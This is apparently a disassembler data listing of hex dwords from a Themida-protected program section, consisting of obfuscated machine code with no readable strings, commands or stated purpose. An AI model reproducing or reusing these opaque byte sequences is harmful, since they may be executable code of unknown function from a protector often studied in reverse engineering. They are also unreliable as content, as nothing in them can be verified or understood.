		dd 4244481h, 1Dh, 78C35343h, 52189F4Bh,	291C00Bh, 0AE85609h
		dd 6B000000h, 0B1611256h, 6C4275C5h, 0A19D8B27h, 5B064808h
		dd 6AE1FF5Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0D426C356h, 0D1BD3142h, 83064823h
		dd 482425BDh, 840F0006h, 379h, 1BFD9D89h, 0BD830648h, 6482425h
		dd 81840F01h, 80000003h, 0CE98DEBh, 40000000h, 37539BFBh
		dd 4023FB68h, 831285F7h, 482425BDh, 860F0306h, 32Ah, 6870Fh
		dd 0BD330000h, 648326Dh, 95BD8B60h, 66064830h, 0E960D98Ch
		dd 8, 991E9A51h, 5240D8C3h, 8B61CF8Bh, 482EADBDh, 4E18006h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 93C35040h
		dd 0F4FD108Bh, 0B8881287h, 6860Fh, 9D310000h
dword_58E268	dd 6482159h, 840FC90Ah,	0E5h, 0E856006Ah, 3, 5EC35E20h
					; DATA XREF: Themida_:off_557435o
		dd 4247489h, 4244481h, 19h, 0D1C35646h,	287F6F06h, 60605298h
		dd 96E28161h, 61064023h, 95BD8B5Fh, 8B06482Bh, 48238585h
		dd 0E19D8B06h, 3306482Bh, 482AC985h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 8AF9A08Fh
		dd 8B90BB4Ch, 665050D8h, 5F0545BBh, 13E990h, 20A50000h
		dd 26BD7DEDh, 0EE3C0D9Fh, 0ABAA0FAh, 0C2F8E0B0h, 6A006A5Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0E1D7C352h, 657A3ACEh, 0EDBD8BABh, 6806482Eh
		dd 3233E75h, 3481D88Bh,	3C3D8A24h, 95FFF903h, 6481C01h
		dd 2C29BD23h, 85890648h, 64BB92Ch, 0B5095F56h, 6481F89h
		dd 14EE9h, 1FBB6600h, 24858BDFh, 6A064BB9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F0D7C351h
		dd 716508FEh, 182EB038h, 1800C7h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0F3BEC2C3h
		dd 0ECF99A6Ah, 0E9F32CD6h, 8, 0BA60CB0Ch, 7B3BE6CAh, 709BD8Bh
		dd 0B58B0648h, 64BB928h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 0D5C35141h, 9CAE3FF4h, 858B28B7h, 6482BF1h
		dd 254DBD8Bh, 6890648h,	68A0Fh,	0BD890000h, 6482869h, 2385858Bh
		dd 5E90648h, 0FF000000h, 4754CB00h, 66044689h, 50C375BFh
		dd 42F6BF66h, 0F8243489h, 0B924B5FFh, 3D68064Bh, 60DDF6FFh
		dd 0B77DE3BFh, 0BE80Ch,	351C0000h, 11E8C4AAh, 0ED2268C8h
		dd 0F525077h, 5F585A31h, 24048161h, 222804C2h, 232D9D89h
		dd 858D0648h, 64BB92Ch,	0FD19D8Bh, 50900648h, 0AE80BF60h
		dd 0C5B82F41h, 6116964Ch, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 8B320497h
		dd 0FF9DCFB1h, 481C0195h, 598D8906h, 6106482Ah,	0A85BD8Bh
		dd 85C70648h, 6482425h,	3, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 39C35040h, 6668B847h,	8346B6BBh, 4BB92CBDh
		dd 840F0006h, 52h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 8EC35141h, 880F833Bh,	1, 43E9F8h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 5FCBF9C3h, 0D1E88423h, 80CE7B83h, 305084C3h,	4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0D78166C0h
		dd 6AA7E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 68BDF7C3h, 0F458D01h, 0BD830648h,	6482425h
		dd 0AF850F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0EB46C352h,	2419AB1Fh
		dd 8B666053h, 8361F9CBh, 4BB92CBDh, 840F0006h, 37Ah, 0FFD98B66h
		dd 4BB92CB5h, 0DEBF0F06h, 0E3595FFh, 0BF660648h, 0B58B4D05h
		dd 64BB920h, 0D3DB589h,	85890648h, 6482051h, 106C7h, 8B660001h
		dd 0BA6096DFh, 2423488Ah, 0BE9h, 2D20E500h, 35AF5433h
		dd 8C9911BBh, 0BB665061h, 0BB96DF91h, 32EEFB37h, 0B92CB5FFh
		dd 6A064Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 9304BC3h,	5DC7485h, 89B156B8h, 4805E985h
		dd 51BD8B06h, 0FF064810h, 481D5995h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0D2829AADh
		dd 0BD8B400Bh, 6482149h, 0B920B58Bh, 6A064Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 5172DDC3h
		dd 7E3731Bh, 0FFA32ADh,	38Fh, 0FFD78000h, 1049858Bh, 0B5090648h
		dd 6481D75h, 0C48689h, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0F18FE4C3h, 8BD98B6Ch
		dd 480A1995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0F4BDEB6Ch, 0F20FBC7h, 83FCDABFh
		dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0C59AAEC3h, 43C04D20h, 0BB496F00h, 86400ECh
		dd 0FE8h, 0EADF9E00h, 6672709Dh, 869433EDh, 0B94B423Ah
		dd 5BFFB70Fh, 60205089h, 0B2EEEE81h, 61F90B9Eh,	0CE09858Dh
		dd 6A064Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 7E5E20C3h, 0E318D89h, 85090648h, 64800F9h
		dd 0B88689h, 0B70F0000h, 6A006ADBh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0F7A7C352h
		dd 2EDDB529h, 0B5FF0648h, 64BB92Ch, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 78C35545h, 6870Fh, 0BD890000h
		dd 6482965h, 23E195FFh,	8D890648h, 6483089h, 5D69BF50h
		dd 34895CD9h, 0B5FFF524h, 64BB92Ch, 0FBBBBB66h,	0E2D95FFh
		dd 0B600648h, 4828A59Dh, 61D6B206h, 1CA1BD83h, 0F000648h
		dd 2A84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 2FC9D0BDh, 325F5423h, 89FB8B50h
		dd 0FFF82434h, 4BB92CB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD8B6F4Ah
		dd 64804FDh, 271995FFh,	2FB30648h, 0B92CB5FFh, 95FF064Bh
		dd 6480B41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	7DC35646h, 9B3FAB3h, 31F8E436h,	4804E985h, 0CDBD8306h
		dd 206480Ch, 52840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 777E77C3h, 0E679C792h
		dd 858B06B3h, 6480FD5h,	0C676F780h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 369F09C3h
		dd 323DFB22h, 0E6985C7h, 648h, 11E80000h, 0BA000000h, 0B91CDA6Eh
		dd 0FA1377B5h, 0CBCFCF13h, 0D9AE1265h, 0F93793BBh, 43E95B27h
		dd 6AFFFFF4h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0F03DC355h, 6BD4B504h,	0BB6692D7h
		dd 0C18B5854h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0AC35747h, 54304086h, 8DF8BF0Fh, 4832FD85h, 10E906h
		dd 28320000h, 5BE710B5h, 1694106h, 2908D241h, 6650BE32h
		dd 8927A3BBh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 14D8A7C3h, 0CD99D29h, 6A0648h, 9D8D89F8h
		dd 6A064825h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 64E988B9h, 87C846BBh, 9D312866h
		dd 6482341h, 8DDBB70Fh,	4D1DE885h, 0ADBD8B06h, 8306480Eh
		dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h
		dd 9D33C0C3h, 6483035h,	0AD2F11BFh, 4895068h, 2DB52924h
		dd 6A06482Ah, 89006A00h, 480EC98Dh, 5880F06h, 0BB000000h
		dd 30DE4452h, 277D95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 4A7354C3h, 0D965BB17h
		dd 10BB4A16h, 8D04AFCAh, 4B9C148Dh, 499D2306h, 6606482Ah
		dd 0FF1AD4BBh, 6890FD1h, 0F000000h, 85h, 49BD8300h, 1064819h
		dd 69850Fh, 5E90000h, 1000000h,	0D471C9FAh, 8B60026Ah
		dd 4819C19Dh, 8E906h, 0C7670000h, 0ADE4A1F4h, 906123A1h
		dd 11E8h, 0A26F9300h, 85630709h, 2097C836h, 9F6FA6EFh
		dd 0BF66C6DCh, 505FCF23h, 2F0951BFh, 0B5019053h, 6481011h
		dd 23E195FFh, 0EE80648h, 0D4000000h, 0A0AC1CBFh, 372C1A7Ch
		dd 711B1F9Bh, 45CFBF96h, 0E95F3952h, 0E4Eh, 0E8h, 0ED815D00h
		dd 64D1DF2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	30C35040h, 0F429A2CFh, 0FEEC4113h, 89BD89ECh, 6A06480Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 80C5C353h, 0BF6669C7h, 858D360Eh,	64B9744h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B2C35040h
		dd 4AAFE35Bh, 8589A98Bh, 6482AD1h, 0BF665090h, 669092ECh
		dd 6488A8BFh, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 76DB08C3h, 1CF6EF81h
		dd 9E941D4h, 0B000000h,	413BB4E2h, 3A76CF44h, 258964h
		dd 9000000h, 4823D99Dh,	2D85FF06h, 6A06480Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0C0DCC357h, 0B89D22F8h, 0BE8FF6Ah, 45000000h, 0E01170B2h
		dd 10998D13h, 0BD33169Bh, 6482F69h, 5B5FF5Bh, 0BB06480Dh
		dd 46F5577Dh, 0AA595FFh, 0F0E90648h, 60000000h,	18B5BD8Bh
		dd 11E80648h, 5000000h,	0E1113358h, 82EC4540h, 38C194E4h
		dd 8B4E2160h, 46E68166h, 0B0615F17h, 0D8B70F00h, 0BD3170E6h
		dd 6481551h, 0EF8071E4h, 0F613C15h, 0B283h, 25B58900h
		dd 0F06481Dh, 8166C8B6h, 0BA84ACDFh, 6,	1EE99D89h, 0C18B0648h
		dd 6890Fh, 0C7810000h, 7831683Dh, 2904E8C1h, 481D5185h
		dd 0E2F76606h, 0B7C82BF5h, 0BBD18BCEh, 528F4947h, 6EE9h
		dd 0DF816600h, 858B4AF5h, 4947554Ch, 836AF380h,	0BD8B07C0h
		dd 64830C1h, 3100C083h,	481B2D85h, 0FD03B06h, 1483h, 719D8B00h
		dd 8906482Dh, 482A498Dh, 35E906h, 8B660000h, 0FF8D8BFAh
		dd 1FFFFFFh, 48206985h,	1E18306h, 1D840Fh, 0A5830000h
		dd 0FFFFFFFFh, 519D8BFEh, 89064823h, 47554C95h,	0D04CBF49h
		dd 0E94AFFh, 8D000000h,	4C9FE0B5h, 9E806h, 16A60000h, 0E15B28F8h
		dd 8B3A2FEAh, 48068DBDh, 0EB815F06h, 3F5FA61Ah,	6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0BF1617C3h, 12BED2Eh, 816F5EB3h, 0C8E8DADBh,	6195FF40h
		dd 6A064830h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0D067C355h, 9D737D13h,	0EF81669Fh
		dd 0E8B99CEDh, 6A00000Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0F2EDC352h,	0DB9B03F0h
		dd 0E183739Bh, 9E9FCh, 4F550000h, 0DE9676C3h, 0FC443FAAh
		dd 65958B60h, 0B106482Ah, 0C02B61C5h, 9E8h, 0A84B500h
		dd 0E810B0DAh, 0FA8B75EDh, 0BA5Fh, 0BD310000h, 6482541h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0A0D5A9BFh, 9FE3803Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 81C35040h
		dd 523E80C3h, 97AE0821h, 0E8F2BBB6h, 880D2343h,	0F000000h
		dd 68Bh, 8CF38100h, 8B2862ADh, 480A1995h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 68D0F94h, 8B000000h,	4821C59Dh, 8EBB6606h, 358D8BF2h
		dd 0F06480Fh, 68Bh, 55B50100h, 50064830h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0FC7EDAC0h
		dd 56888B8Bh, 14058589h, 6A5F0648h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 9566C350h
		dd 0E91AD311h, 0Bh, 5D2238E3h, 6661E140h, 83921112h, 4819A5BDh
		dd 840F0006h, 74h, 8CD8529h, 0B80648h, 60000000h, 309D9D03h
		dd 858B0648h, 6480DBDh,	648D8D61h, 6A06484Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 5716C352h, 13E9h, 0FF159F00h, 0C0EDB50Fh, 85A17723h
		dd 6B829D9Ch, 0AE4CAF35h, 6AE1FF5Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0A27C353h
		dd 2425BD83h, 0F000648h, 47384h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 5E453A5Bh
		dd 0F4E17DC9h, 0BF0FDCABh, 25BD83D9h, 1064824h,	459840Fh
		dd 0BF0F0000h, 25BD83FAh, 3064824h, 413860Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 5BE1FAC3h, 0C889EB88h, 6E95270h, 0CE000000h,	5A77361Ah
		dd 6A605F6Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 66FBC350h, 8166DF8Bh, 66F333F7h
		dd 9589D98Ch, 6482BF9h,	6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 6791C356h
		dd 8C3A7055h, 816639F2h, 0A7E4AE7h, 10840FC9h, 0B7000001h
		dd 85858B6Ah, 89064823h, 481A2995h, 0C9853306h,	8B06482Ah
		dd 4BB50D9h, 8939D5CEh,	0BD0B2404h, 6482BF9h, 0FCBF006Ah
		dd 6610D21Ah, 4E8FB8Bh,	0FF000000h, 60001F03h, 0F56D88Ah
		dd 8Ch,	50615A00h, 0F664BF53h, 8B5F1468h, 51042444h, 8B5FF98Bh
		dd 50525000h, 0DF8B6652h, 1DBB310Fh, 5A15C229h,	50310F58h
		dd 840F52h, 0F000000h, 5A585A31h, 24448958h, 8E904h, 1630000h
		dd 85200DBBh, 6658ED15h, 8960FA8Bh, 480A159Dh, 68E0F06h
		dd 89000000h, 482E9DBDh, 95FF6106h, 6481C01h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0BEC35343h, 0F06E7069h
		dd 8589B96Fh, 64BB92Ch,	0CE8h, 10054400h, 519B21D7h, 0FE984902h
		dd 0E0C381E0h, 5B0711C2h, 219E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 359C9D1Eh
		dd 919D312Ah, 8B06480Dh, 4BB92485h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0DAF3AE8Ch
		dd 724DEA2Fh, 10E861h, 0CF720000h, 0C4576B54h, 19E4DD47h
		dd 837732Fh, 0C3810B14h, 4C94E548h, 8B66605Bh, 880F60CFh
		dd 0
		dd 8E0Fh, 61610000h, 1800C7h, 9D8B0000h, 6481F21h, 0B928B58Bh
		dd 858B064Bh, 6482BF1h,	0FE9h, 0F6746700h, 0B4318117h
		dd 731960C0h, 2BB9BA79h, 6A0689h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 4B5258C3h, 0FE9h, 0F4509B00h
		dd 0A818F5C8h, 13CEB84Dh, 91E3A543h, 2385858Bh,	8E80648h
		dd 0D7000000h, 0A11AAB0Ah, 0B3651212h, 880F5B10h, 0
		dd 0E8044689h, 8, 151D1870h, 2F21E3F5h,	505BD98Ah, 89DE8B66h
		dd 13E92434h, 19000000h, 0BAB4A381h, 99E95736h,	99B05934h
		dd 0F653AC1Dh, 0B5FF6FB4h, 64BB924h, 1585BD8Bh,	0E8680648h
		dd 0E8128A07h, 11h, 8260CA0h, 0B3E0713Dh, 498E568Fh, 0BC435CFCh
		dd 28C0F37h, 60000000h,	34815B61h, 95041724h, 51006A12h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0C202A0F2h, 17B2E211h, 858D1B9Dh, 64BB92Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 1EC35343h, 0FB9D738h
		dd 9FBFDAB7h, 902D85C1h, 0AC58BF50h, 505B69A9h,	57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0FF0AE877h, 481C0195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 4F55D47Fh
		dd 0DE9676C3h, 91858B60h, 0F06482Dh, 488h, 96BB6600h, 6A616136h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 1AD4C352h, 88A9D14h, 6635C571h, 0A74FCB81h
		dd 242585C7h, 30648h, 0CF800000h, 0A9BD89C2h, 8306480Ch
		dd 4BB92CBDh, 840F0006h, 35h, 9E9h, 27A0FD00h, 1C45B055h
		dd 3DE99F12h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8B92C356h, 4824D1BDh
		dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	43C35242h, 9490A37Dh, 234591ADh, 719D8BAAh, 8306481Ah
		dd 482425BDh, 850F0306h, 4B0h, 83D9B70Fh, 4BB92CBDh, 840F0006h
		dd 4A0h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 17h,	0A3C35040h, 661E6884h, 0B2C2D781h, 0B92CB5FFh
		dd 8166064Bh, 0FF191EEBh, 480E3595h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 6E71A32Ch
		dd 8B3159E7h, 4121BBD8h, 0B58B3661h, 64BB920h, 2031BD8Bh
		dd 6C70648h, 10001h, 101BF66h, 0BB665096h, 6A966CC8h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 507AC353h, 3FA587DDh, 8E88F29h, 18000000h, 0CC2DF46h
		dd 66ECCA48h, 8C0BE781h, 2CB5FF5Fh, 6A064BB9h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0A34C350h, 0F4A1AEAh, 68Bh, 0F19D3100h, 56064826h, 13F38166h
		dd 0BD015FCAh, 6482909h, 1D5995FFh, 0BF0F0648h,	20B58BFBh
		dd 6A064BB9h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 98C3C353h, 0FE3FB28h, 858B3CC9h
		dd 6481049h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	35C35141h, 0EDBD29F3h, 0E906480Ch, 8, 0FD4A9158h
		dd 0AC862EF6h, 0C48689h, 0FE80000h, 21000000h, 426043E0h
		dd 79F2CC69h, 92CE099Bh, 8B605B38h, 4825218Dh, 0F1BD8906h
		dd 6106481Fh, 19958B5Bh, 6A06480Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 61E4C356h
		dd 0E4FA6AD3h, 0E465CD4Ch, 6A04C283h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0D81EC351h
		dd 1CF66B55h, 0E8C4AA35h, 5089F98Ah, 55006A20h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 7290D177h
		dd 0A9875146h, 858D5B56h, 64BCE09h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 68C35242h, 0A20CC77h, 0D41C870Eh
		dd 75B58930h, 6006481Fh, 25F9858Bh, 8D890648h, 6482791h
		dd 0B8868961h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 34C9C356h, 0B38C3109h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 75D27CC3h, 0FE9h,	5133800h, 77FE1935h, 2C819812h
		dd 7192B104h, 12E953h, 5CD20000h, 0F2827AD9h, 63B8281Fh
		dd 0F7E443C4h, 0C58D67F9h, 2CB5FF5Bh, 8B064BB9h, 480EBD9Dh
		dd 0E195FF06h, 81064823h, 85D194E3h, 91950176h,	5006480Ch
		dd 29D7BB66h, 0BB243489h, 74A95A4Eh, 0B92CB5FFh, 6A064Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 9E1C71C3h, 0FF68E639h, 480E2D95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 5FF71A49h
		dd 123CF1BFh, 52BF66FFh, 0A1BD83C8h, 6481Ch, 60840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0E6A3EBC3h, 4FD94B22h, 0BF661907h, 8D8985A5h, 6482C69h
		dd 0BB50F88Bh, 52B19E62h, 6A243489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 6F48C355h
		dd 895241C1h, 48203D95h, 0B5FF5B06h, 64BB92Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 78C35545h, 0CC971444h
		dd 85374640h, 0BE9h, 0D1662E00h, 0D9EB7851h, 3E2CB32Fh
		dd 271995FFh, 0B5FF0648h, 64BB92Ch, 8870Fh, 8E0F0000h
		dd 2, 95FFDD8Ah, 6480B41h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 41C35040h, 3916B4Eh, 480EE5BDh, 699D8B06h
		dd 83064827h, 480CCDBDh, 840F0206h, 3Eh, 5DBD8B53h, 5F064819h
		dd 0FD5858Bh, 0BF660648h, 0C6D068h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8C0F2DEEh
		dd 2, 0BB669EB7h, 85C7E614h, 6480E69h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 15C35242h
		dd 32699589h, 0B5290648h, 6482EF5h, 0FFF2DFE9h,	99D23FFh
		dd 8B06480Dh, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FCCFB0FFh, 0F399D03h, 8D8D0648h
		dd 64D2D30h, 8D0Fh, 7E90000h, 7000000h,	0DF167792h, 8D89D852h
		dd 6480A19h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	14C35141h, 15C3848Ch, 6806803Bh, 3585C7A0h, 0F406480Fh
		dd 6A000072h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0C7B6C351h, 48242585h,	6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 70799984h, 0CDD7DCDEh, 0CDC0814Eh, 0E94AF28Fh, 0Eh
		dd 7062AC76h, 0F57C71E1h, 0B8DD3344h, 0B5FF00FEh, 6481855h
		dd 9E952h, 938B0000h, 56B77ADCh, 5B56D606h, 20BD95FFh
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0BD8BBBC3h, 6481FE5h, 95FF006Ah, 6483061h
		dd 58EBC08Bh, 98C3D907h, 0FE3FB28h, 518A3CC9h, 0B36F0A03h
		dd 293DF0ECh, 9ED0FC1Dh, 0BF5E0385h, 72997FA6h,	47C36ED5h
		dd 0E2C11ED2h, 0F3E0B1C2h, 1D96A7E4h, 0D5191AB3h, 741AB4C3h
		dd 3FACA97Bh, 83FBE56h,	8F91F7ECh, 0CADC83E4h, 0BCAB1468h
		dd 0BF1DEA5Fh, 3941B6AFh, 0E4FEB4F7h, 2E8E8D8Dh, 820F064Dh
		dd 4, 0C106B866h, 0A198D89h, 6A0648h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 85C7ECC3h
		dd 6480F35h, 6558h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0A9C35040h, 0C5E17C1Dh, 242585C7h, 648h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 2118A4C3h, 0DA220FD6h, 62B866D8h,	55B5FF79h
		dd 6A064818h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 12DDC356h, 46606776h, 565107D7h
		dd 474DDE81h, 95FF4F4Dh, 64820BDh, 60D3BF0Fh, 12E8h, 1A320D00h
		dd 0B05D5282h, 37F9A7DDh, 0E9CADF3Eh, 0E92A3056h, 0Eh
		dd 0EC11C499h, 0FE7193AEh, 0D080959Fh, 235A61D2h, 48277995h
		dd 6A6106h, 306195FFh, 0C08B0648h, 0B6B58EBh, 0AA4C6BDBh
		dd 75403175h, 3E7AAD5Fh, 3DEE69A4h, 48A2FC47h, 0CFD71EB0h
		dd 0A2CD83E3h, 8087022Fh, 9290B1D2h, 38FFA8DAh,	0F969A9BEh
		dd 7DDD051h, 0DBB4C2F7h, 38C5E242h, 49F3B3A4h, 44C0B86Fh
		dd 0A2BEE31Ch, 2CA78A82h, 7AEBC332h, 2358D5CCh,	0AD0A090Fh
		dd 8D8D9237h, 64D301Ch,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0B0C35646h, 0DC9EC951h, 198D8997h, 6A06480Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 1BAFC357h, 0DCF92AE1h, 3585C7D8h,	6480Fh
		dd 6A000059h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0E2B2C352h, 0CD927595h, 0C4A1D45Bh
		dd 0FF88B66h, 280h, 0C7D78B00h,	48242585h, 6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 35CAE3C8h, 8EEFD8E8h, 0D59D0300h, 0E806481Fh, 13h, 1E7549A9h
		dd 274B6002h, 587A4F16h, 72A17A3Eh, 0FC9BBCDh, 148Eh, 0FE900h
		dd 0E22E0000h, 0B38B64F9h, 93BABB48h, 0DE9B58DDh, 0B5FF5895h
		dd 6482281h, 27CDBD8Bh,	95FF0648h, 64820BDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CFC35646h, 89E796E1h
		dd 4814C995h, 0D3B70F06h, 95FF006Ah, 6483061h, 2DEBC08Bh
